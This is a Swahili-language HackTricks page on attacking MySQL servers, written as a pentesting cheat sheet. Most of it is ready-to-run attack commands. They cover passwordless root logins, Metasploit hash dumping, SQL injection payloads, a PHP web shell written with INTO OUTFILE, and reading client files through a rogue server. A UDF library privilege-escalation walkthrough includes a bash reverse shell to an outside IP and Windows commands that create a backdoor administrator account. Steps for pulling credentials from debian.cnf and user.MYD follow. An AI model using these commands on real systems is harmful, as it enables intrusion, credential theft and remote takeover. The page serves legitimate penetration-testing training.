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3306 - Pentesting Mysql

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

Taarifa Msingi

MySQL inaweza kuelezwa kama Mfumo wa Usimamizi wa Takwimu wa Uhusiano (RDBMS) wa chanzo wazi ambao upatikana bila malipo. Inafanya kazi kwenye Lugha ya Utafutaji Iliyopangwa (SQL), ikiruhusu usimamizi na upangaji wa maktaba za takwimu.

Bandari ya chaguo: 3306

3306/tcp open  mysql

Kuunganisha

Mitaani

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Kijijini

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Uchambuzi wa Kina

Baadhi ya hatua za uchambuzi zinahitaji sifa halali

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Kujaribu nguvu

Andika data yoyote ya binary

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Amri za MySQL

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Uchambuzi wa Ruhusa za MySQL

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Unaweza kuona katika nyaraka maana ya kila ruhusa: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL kusoma faili yoyote kwa njia ya mteja

Kwa kweli, unapojaribu kupakia data za ndani kwenye meza maudhui ya faili kwenye seva ya MySQL au MariaDB inamuuliza mteja asome na kutuma maudhui. Kisha, ikiwa unaweza kuhariri mteja wa mysql kuunganisha kwenye seva yako ya MySQL, unaweza kusoma faili yoyote.
Tafadhali kumbuka kuwa hii ndio tabia inayotumika:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Kumbuka neno "local")
Kwa sababu bila "local" unaweza kupata:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Uchunguzi wa Awali: https://github.com/allyshka/Rogue-MySql-Server
Katika makala hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kuongeza hadi RCE: https://paper.seebug.org/1113/
Hapa unaweza kupata muhtasari wa shambulio: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano wa joto kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

POST

Mtumiaji wa Mysql

Itakuwa ya kuvutia sana ikiwa mysql inaendeshwa kama root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Mipangilio Hatari ya mysqld.cnf

Katika usanidi wa huduma za MySQL, mipangilio mbalimbali hutumiwa kufafanua uendeshaji wake na hatua za usalama:

  • Mipangilio ya user hutumiwa kuteua mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.
  • password hutumika kuweka nenosiri linalohusishwa na mtumiaji wa MySQL.
  • admin_address inabainisha anwani ya IP inayosikiliza kwa ajili ya mawasiliano ya TCP/IP kwenye interface ya mtandao wa utawala.
  • Kipengele cha debug kinaonyesha mipangilio ya sasa ya upelelezi, ikiwa ni pamoja na taarifa nyeti ndani ya magogo.
  • sql_warnings inasimamia ikiwa vifungu vya taarifa vinazalishwa kwa taarifa za kuingiza safu moja wakati onyo linatokea, likiwa na data nyeti ndani ya magogo.
  • Kwa secure_file_priv, wigo wa uingizaji na kuuza data unazuiliwa ili kuboresha usalama.

Kupandisha Hadhi ya Mamlaka

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Kupanda Mamlaka kupitia maktaba

Ikiwa seva ya mysql inaendeshwa kama root (au mtumiaji mwingine aliye na mamlaka zaidi) unaweza kufanya iendekeze amri. Kwa hili, unahitaji kutumia kazi zilizoundwa na mtumiaji. Na ili kuunda kazi iliyoundwa na mtumiaji utahitaji maktaba kwa OS inayoendesha mysql.

Maktaba mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya locate "*lib_mysqludf_sys*". Faili za .so ni maktaba za linux na .dll ni zile za Windows, chagua ile unayohitaji.

Ikiwa huna maktaba hizo, unaweza kuzitafuta, au pakua hii msimbo wa C wa linux na kuutengeneza ndani ya mashine ya linux yenye kasoro.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji aliye na mamlaka (root?) na fuata hatua zifuatazo:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Kupata siri za MySQL kutoka kwenye faili

Ndani ya /etc/mysql/debian.cnf unaweza kupata nywila ya maandishi ya wazi ya mtumiaji debian-sys-maint

cat /etc/mysql/debian.cnf

Unaweza kutumia sifa hizi kuingia kwenye database ya mysql.

Ndani ya faili: /var/lib/mysql/mysql/user.MYD unaweza kupata mishale yote ya watumiaji wa MySQL (zile unazoweza kuchimba kutoka mysql.user ndani ya database).

Unaweza kuzichimba kwa kufanya:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Kuwezesha kuingiza kumbukumbu

Unaweza kuwezesha kuingiza kumbukumbu za maswali ya mysql ndani ya /etc/mysql/my.cnf kwa kutoa maoni kwenye mistari ifuatayo:

Faili za Kufaa

Faili za Mipangilio

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Historia ya Amri
  • ~/.mysql.history
  • Faili za Kuingiza
  • connections.log
  • update.log
  • common.log

Msingi wa Takwimu/Meza za Msingi za MySQL

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits\

schema_table_statistics\
schema_table_statistics_with_buffer\
schema_tables_with_full_table_scans\
schema_unused_indexes\
session\
session_ssl_status\
statement_analysis\
statements_with_errors_or_warnings\
statements_with_full_table_scans\
statements_with_runtimes_in_95th_percentile\
statements_with_sorting\
statements_with_temp_tables\
sys_config\
user_summary\
user_summary_by_file_io\
user_summary_by_file_io_type\
user_summary_by_stages\
user_summary_by_statement_latency\
user_summary_by_statement_type\
version\
wait_classes_global_by_avg_latency\
wait_classes_global_by_latency\
waits_by_host_by_latency\
waits_by_user_by_latency\
waits_global_by_latency\
x$host_summary\
x$host_summary_by_file_io\
x$host_summary_by_file_io_type\
x$host_summary_by_stages\
x$host_summary_by_statement_latency\
x$host_summary_by_statement_type\
x$innodb_buffer_stats_by_schema\
x$innodb_buffer_stats_by_table\
x$innodb_lock_waits\
x$io_by_thread_by_latency\
x$io_global_by_file_by_bytes\
x$io_global_by_file_by_latency\
x$io_global_by_wait_by_bytes\
x$io_global_by_wait_by_latency\
x$latest_file_io\
x$memory_by_host_by_current_bytes\
x$memory_by_thread_by_current_bytes\
x$memory_by_user_by_current_bytes\
x$memory_global_by_current_bytes\
x$memory_global_total\
x$processlist\
x$ps_digest_95th_percentile_by_avg_us\
x$ps_digest_avg_latency_distribution\
x$ps_schema_table_statistics_io\
x$schema_flattened_keys\
x$schema_index_statistics\
x$schema_table_lock_waits\
x$schema_table_statistics\
x$schema_table_statistics_with_buffer\
x$schema_tables_with_full_table_scans\
x$session\
x$statement_analysis\
x$statements_with_errors_or_warnings\
x$statements_with_full_table_scans\
x$statements_with_runtimes_in_95th_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$user_summary\
x$user_summary_by_file_io\
x$user_summary_by_file_io_type\
x$user_summary_by_stages\
x$user_summary_by_statement_latency\
x$user_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait_classes_global_by_latency\
x$waits_by_host_by_latency\
x$waits_by_user_by_latency\
x$waits_global_by_latency
{% endtab %}
{% endtabs %}

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

​

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Na malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.

{% embed url="https://www.rootedcon.com/" %}

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

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